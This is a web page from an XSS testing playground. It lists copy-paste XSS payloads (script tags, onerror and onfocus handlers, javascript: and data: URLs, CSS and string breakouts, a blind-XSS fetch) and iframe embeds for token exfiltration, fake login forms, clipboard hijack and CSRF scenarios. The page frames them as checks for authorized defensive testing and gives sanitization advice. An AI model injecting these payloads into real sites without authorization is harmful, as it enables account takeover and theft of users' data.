XSS Playground
Copy-and-test XSS scenarios

About — Sangmook Kim
Frontend Engineer
I'm Sangmook Kim, a frontend developer. This site is not a product-specific PoC; it is an open playground for anyone who wants to verify XSS defenses in web services they own or are authorized to test.
Each scenario turns a realistic browser risk into a small test page: script tags, event-handler attributes, javascript: URLs, DOM sinks, embedded iframes, parent-window messaging, deceptive UI, and automatic requests.
Copy an HTML payload or iframe snippet from a scenario card or detail page, paste it into your own project, and check both the render result and the actual browser behavior.
Project intent
XSS defense is not finished by naming an HTML filter or adding one line of filtering. You need to see what the browser actually allows across iframes, messages, permission prompts, automatic requests, and deceptive UI.
This site is not an attack automation tool. It is a repeatable checklist for developers and security teams testing rendering policies in services they own or are authorized to assess.
Every snippet is designed to be copied into a dev or staging environment. If an HTML payload executes or an iframe scenario works, it is a signal to investigate; if it is blocked, you can record which policy stopped it.
How to use
- Open a scenario page.
- Copy the HTML payload or iframe code from the home card or detail page.
- Paste it into your own service (editor, notes, wiki…) and save.
- Check rendering, sandbox behavior, CSP, postMessage validation, and the actual browser behavior.
Practical Sanitization
If a product feature must accept HTML, do not rely on string replacement or blacklists. Pair context-aware output encoding with a tested sanitizer policy.
DOMPurify is a widely used sanitizer for stripping executable risk from HTML, SVG, and MathML. Use it only where HTML is intentionally rendered, such as dangerouslySetInnerHTML, Markdown/MDX output, or rich text rendering.
Server-side sanitization needs a DOM implementation. In Node.js, use DOMPurify with an up-to-date jsdom setup, and test that client and server allowlists do not drift apart.
Record allowed tags, attributes, URL protocols/hosts, iframe sandbox, and CSP per feature. If another renderer mutates HTML after sanitization, the protection can be undone.
XSS threat map
Based on the Hacker101 CTF XSS Playground categories and PortSwigger Web Security Academy guidance, this project groups the risks you should test into these areas.
Request data such as query strings, search terms, or error messages is immediately reflected into HTML without the right output encoding.
Saved input such as comments, profiles, or document bodies is later rendered for other users as active content.
Client-side code reads untrusted values from location, hash, postMessage, or storage and writes them into unsafe sinks like innerHTML or string-based timers.
Event handlers, SVG/MathML, javascript: URLs, encodings, and template syntax can bypass weak blacklists or incomplete CSP rules.
Once script runs, it can act with the user's privileges, perform requests, manipulate the page, and access data the user can access.
iframes, overlays, notifications, clipboard hooks, and postMessage can trick users into entering secrets or leak observable data out of the page.
Scenarios
Attack scenarios grouped by category. Copy an HTML payload or iframe embed directly from a card, or open a detail page for deeper testing.
HTML Injection
Check whether a raw script tag executes when user input is parsed as an HTML document.
<script>alert("xss-playground")</script>Check whether on* attributes such as img onerror or details ontoggle survive rendering and execute.
<img src=x onerror="alert('xss-playground')">Check whether SVG, MathML namespaces, event attributes, and nested HTML bypass weak filters.
<svg onload="alert('xss-playground')" xmlns="http://www.w3.org/2000/svg"></svg>DOM XSS
Check whether untrusted values from location, hash, postMessage, and similar sources reach unsafe sinks such as innerHTML.
<img src=x onerror="alert('dom-xss')">URL / Protocol
Check whether javascript: remains in URL attributes such as href or action and executes on user interaction.
<a href="javascript:alert('xss-playground')">click me</a>Check whether HTML entities, control characters, or casing variations bypass javascript: URL validation.
<a href="javascript:alert('xss-playground')">encoded protocol</a>Check whether data:text/html is allowed in wrapper URL attributes such as iframe, object, embed, or link previews.
<iframe src="data:text/html,<script>parent.postMessage({type:'DATA_URL_XSS'},'*')</script>"></iframe>Context Breakout
Check whether user input can break out of script-block strings, JSON boot state, or inline event code.
";alert("xss-playground");//Check parser breakouts and risky URL tokens when user input enters style tags, style attributes, or CSS URLs.
</style><img src=x onerror="alert('css-context-xss')"><style>File Upload
Check whether active content runs when uploaded SVG, XML, or HTML files are rendered as previews.
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg-file-xss')"></svg>User Content
Check whether Markdown, MDX, or editor renderers safely normalize and sanitize link URLs, raw HTML, and image URLs.
[click me](javascript:alert('markdown-xss'))Check whether small profile fields such as nicknames, status text, or icon URLs become executable code in attribute or HTML contexts.
" autofocus onfocus="alert('nickname-xss')" x="Navigation
Replace the whole parent window from inside an iframe and compare sandbox allow-top-navigation behavior.
<iframe src="https://xss-playground.com/embed/top-redirect?lang=en" title="XSS Playground - top.location forced redirect" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Communication
Send forged messages to the parent page and check whether origin validation is missing.
<iframe src="https://xss-playground.com/embed/post-message?lang=en" title="XSS Playground - postMessage spoofing" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Submit a hidden form to an external domain and compare sandbox allow-forms and CSRF boundaries.
<iframe src="https://xss-playground.com/embed/form-auto-submit?lang=en" title="XSS Playground - Hidden form auto-submit (CSRF-like)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Check how data collected inside the iframe's own origin and referrer information can be sent out via sendBeacon or fetch.
<iframe src="https://xss-playground.com/embed/beacon-exfil?lang=en" title="XSS Playground - navigator.sendBeacon / fetch exfiltration" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Check whether an external state-changing GET endpoint can be requested with cookies through img.src.
<iframe src="https://xss-playground.com/embed/csrf-image?lang=en" title="XSS Playground - img-tag GET request CSRF" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Exfiltration
Probe the boundary around parent JWTs, storage, and in-flight network requests from inside an iframe.
<iframe src="https://xss-playground.com/embed/token-exfil?lang=en" title="XSS Playground - Parent token / network theft attempts" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Phishing
Draw a parent-like login form inside an iframe and collect user input on the iframe's own origin.
<iframe src="https://xss-playground.com/embed/phishing-form?lang=en" title="XSS Playground - Fake login form (phishing)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Place an iframe over the screen and draw a parent-like UI to deceive the user.
<iframe src="https://xss-playground.com/embed/fullscreen-overlay?lang=en" title="XSS Playground - Fullscreen overlay impersonation" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Delayed / Chained
Track payloads that do not run immediately but execute later in admin consoles, notifications, log viewers, or CRMs.
<img src=x onerror="fetch('/redirected?from=blind-xss&surface=admin-log',{mode:'no-cors'})">Auto-fire top-redirect, postMessage, form submit, and similar actions after a timer or URL parameter.
<iframe src="https://xss-playground.com/embed/delayed-attack?lang=en" title="XSS Playground - Delayed / auto-fire payload" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Reproduce a chain that shows fake fullscreen UI, captures credentials, then top-redirects to reduce suspicion.
<iframe src="https://xss-playground.com/embed/chained-attack?lang=en" title="XSS Playground - Chained attack (phishing + fullscreen + redirect)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Annoyance
Check whether file downloads can start without an explicit user click via download attributes, Blob URLs, or data URLs.
<iframe src="https://xss-playground.com/embed/auto-download?lang=en" title="XSS Playground - Auto-download trigger" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Open new windows with window.open and inspect popup blocking, allow-popups, opener, and tabnabbing boundaries.
<iframe src="https://xss-playground.com/embed/popup-spam?lang=en" title="XSS Playground - popup / window.open spam" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Try autoplaying media with sound or taking fullscreen with requestFullscreen.
<iframe src="https://xss-playground.com/embed/autoplay-media?lang=en" title="XSS Playground - Autoplay media / automatic fullscreen" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Call Notification.requestPermission and inspect permission prompts plus later phishing-notification risk.
<iframe src="https://xss-playground.com/embed/notification-permission?lang=en" title="XSS Playground - Notification permission / push hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Intercept copy events inside the iframe and overwrite the user's clipboard with different content.
<iframe src="https://xss-playground.com/embed/clipboard-hijack?lang=en" title="XSS Playground - Clipboard hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Pile up iframe-owned history entries and interfere with the parent tab's back navigation.
<iframe src="https://xss-playground.com/embed/history-pollution?lang=en" title="XSS Playground - history.pushState pollution" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Probe
Attempt parent DOM, storage, and cookie access to see exactly what SOP blocks and what it still allows.
<iframe src="https://xss-playground.com/embed/sop-probe?lang=en" title="XSS Playground - Same-Origin Policy probe (expected failures)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Send multiple postMessage payloads to the parent and observe responses or side effects.
<iframe src="https://xss-playground.com/embed/parent-message-listener-probe?lang=en" title="XSS Playground - Parent message listener fingerprinting" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Contributing (Issues / PRs)
This project is source-available, not open-source. The code is public for review and contributions, but forking the project to run a separate deployment, mirror, or commercial service is not permitted.
Ideas, bug reports, translation fixes, and new scenarios are welcome. Open an Issue first; if the change is accepted in principle you can be added as a collaborator and push a branch directly to this repository instead of a long-lived fork.
Full policy lives in LICENSE and CONTRIBUTING.md.